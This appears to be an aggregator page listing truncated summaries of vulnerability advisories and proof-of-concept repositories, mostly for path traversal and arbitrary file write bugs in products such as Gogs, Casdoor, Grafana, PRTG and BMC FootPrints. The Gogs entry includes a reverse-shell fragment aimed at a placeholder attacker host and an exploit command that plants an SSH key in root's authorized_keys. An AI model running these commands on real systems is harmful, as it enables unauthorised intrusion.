watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260

CVE-2025-71257 y CVE-2025-71260 Cadena de Ejecución Remota de Código Pre-Autenticada en BMC FootPrints Herramienta Generadora de Artefactos de Detección de la Cadena de Ejecución Remota de Código Pre-Autenticada en BMC FootPrints Descripción Este Generador de Artefactos de Detección verifica si l...

varlib-cve-2025-66034

fontTools varLib CVE-2025-66034 Exploit This repo doesn't introduce a new vulnerability. This is a Proof-of-concept exploit for CVE-2025-66034 affecting the fontTools varLib variable font generation pipeline. The vulnerability allows attackers to control the output filename inside a crafted...

CVE-2017-1000117

面向 VulApps 的 CVE-2017-1000117 PoC 仓库 Fork 自 joernchen/CVE-2017-1000117 git clone --recursive https://github.com/Jerry-zhuang/CVE-2017-1000117.git 会将 id 的输出写入 /var/www/html 下的 vul 文件。 在 VulApps 查看更多...

CVE-2025-8110

CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' 使用后清理漏洞利用仓库 python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \ --target-file /root/.ssh/authorizedkeys --content-file /.ssh/idrsa.pub --cleanup 工作原理 1. 认证 — 登录（或自助注册）并创建一个 API 令牌。 2. 创建仓库 — 通过 Web 界面初始化一个包含 READ...

CVE-2026-82768

Path traversal vulnerability exists in SGA1000. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP...

EUVD-2026-77248

Path traversal vulnerability exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP...

CVE-2026-82768

A path traversal vulnerability in SGA1000 (manufactured by Contec ) allows an attacker with FTP access to view and/or alter arbitrary files on the server, potentially leading to high confidentiality and integrity compromise with no availability impact . The vulnerability is scored CVSS 3.1: 8.1 (...

CVE-2026-36227

CVE-2026-36227: Easy Chat Server 3.1 用户名路径遍历概念验证 此仓库包含针对 CVE-2026-36227 的良性概念验证代码，该漏洞是 Easy Chat Server 3.1 用户注册处理中的路径遍历问题。 此仓库仅用于授权的安全研究和本地复现。请勿将其用于你不拥有或未经明确许可测试的系统。 概述 Easy Chat Server 3.1 通过 POST /registresult.htm 接受注册数据。UserName 参数在被应用程序使用前未经过充分净化。一个类似 ../../ecs-traversal-proof.txt...

CVE-2026-6815

CVE-2026-6815 PoC/Exploit：Casdoor 3.54.1 路径遍历与任意文件写入（已认证） 本仓库包含针对 CVE-2026-6815 的概念验证（PoC）利用代码，该漏洞是 Casdoor 中的一个任意文件写入与路径遍历漏洞。 该漏洞已在 3.54.1 版本中被 修复。 前提条件 攻击者必须通过管理员权限或同等权限的用户账户认证到 Casdoor 实例，且该账户具有创建和/或编辑存储提供商的权限。 影响 远程代码执行（RCE） ：通过写入敏感位置，如 .ssh/authorizedkeys、crontab 或 Web 根目录。 拒绝服务（DoS）...

CVE-2023-22632

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the FTP Server Count Sensor...

CVE-2023-22631

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor...

EUVD-2023-60632

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor...

PT-2026-91199

In Eclipse Embedded CDT versions 6.0 to 6.7 if the CMSIS-Pack archive extracts a compromised CMSIS pack the archive extraction can extract files to locations outside of the pack, allowing writing of arbitrary files to other locations on disk...

CVE-2023-22631

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor...

CVE-2023-22632

PRTG Network Monitor (Paessler) before version 23.1.82 is affected by a vulnerability that allows remote attackers to write to files via the FTP Server Count Sensor . The attack requires high privileges (authenticated access) over the network, resulting in a low integrity impact (CVSS 3.1 score 2...

CVE-2023-22631

CVE-2023-22631 affects PRTG Network Monitor versions before 23.1.82 , allowing a remote attacker with high privileges to write to files via the HTTP XML/REST Sensor , resulting in a low integrity impact (CVSS 3.1: 2.7 LOW , AV:N/AC:L/PR:H). The Dutch NCSC advisory notes that an authenticated mali...

EUVD-2023-60633

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the FTP Server Count Sensor...

CVE-2023-22632

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the FTP Server Count Sensor...

CVE-2026-7791

CVE-2026-7791 PoC: 默认特权 针对Amazon WorkSpaces 本地权限提升 的研究性概念验证（涉及 Skylight Workspace Config Service 中的 TOCTOU 漏洞及 SYSTEM 级别任意文件写入）。 完整技术细节：Cymulate 博客 | ---|--- CVE| CVE-2026-7791 供应商| AWS 安全公告 2026-025-AWS 修复版本| Skylight 2.6.2034.0 作者| Ben Zamir，Cymulate 研究实验室 许可证 MIT 本 PoC 的功能 低权限的 WorkSpaces...

CVE-2026-27876

CVE-2026-27876: Escritura Arbitraria de Archivos en Expresiones SQL de Grafana que Deriva en RCE CVSS 9.1 Crítico | Escritura Arbitraria de Archivos | Ejecución Remota de Código Demo https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56 Resumen La función de Expresiones...